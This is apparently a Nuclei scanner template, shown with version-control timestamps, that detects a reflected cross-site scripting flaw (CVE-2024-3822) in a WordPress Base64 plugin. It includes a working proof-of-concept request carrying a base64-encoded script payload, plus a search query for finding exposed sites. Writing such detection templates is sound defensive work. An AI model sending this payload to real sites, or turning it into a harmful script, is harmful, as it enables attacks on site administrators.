2024-06-01 05:59:10 +00:00
id : CVE-2024-3822
2024-06-07 10:04:29 +00:00
info :
name : Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting
author : omranisecurity
severity : medium
description : |
The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
reference : |
- https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
- https://nvd.nist.gov/vuln/detail/CVE-2024-3822
- https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score : 6.5
cve-id : CVE-2024-3822
cwe-id : CWE-79
epss-score : 0.00043
epss-percentile : 0.0866
metadata :
verified : true
max-request : 1
fofa-query : "wp-content/plugins/base64-encoderdecoder/"
tags : cve,cve2024,wordpress,wp-plugin,wp,xss,base64-encoderdecoder
2024-06-01 05:59:10 +00:00
http :
- method : GET
path :
2024-06-01 06:19:40 +00:00
- "{{BaseURL}}/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4="
2024-06-01 05:59:10 +00:00
matchers :
- type : dsl
dsl :
- 'status_code == 200'
- 'contains(header, "text/html")'
2024-06-01 06:21:52 +00:00
- 'contains(body, "<p><script>alert(\"document.domain\")</script></p>")'
2024-06-01 05:59:10 +00:00
condition : and
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100d2868a59e3c34566b08f8ff3f5b24fc9f7f7ecea4d923f906a1883ce70911da902205775a0c8bed2a2337a63d20c67755f6389a31b1023ba8be4c58056e10107894a:922c64590222798bb761d5b6d8e72950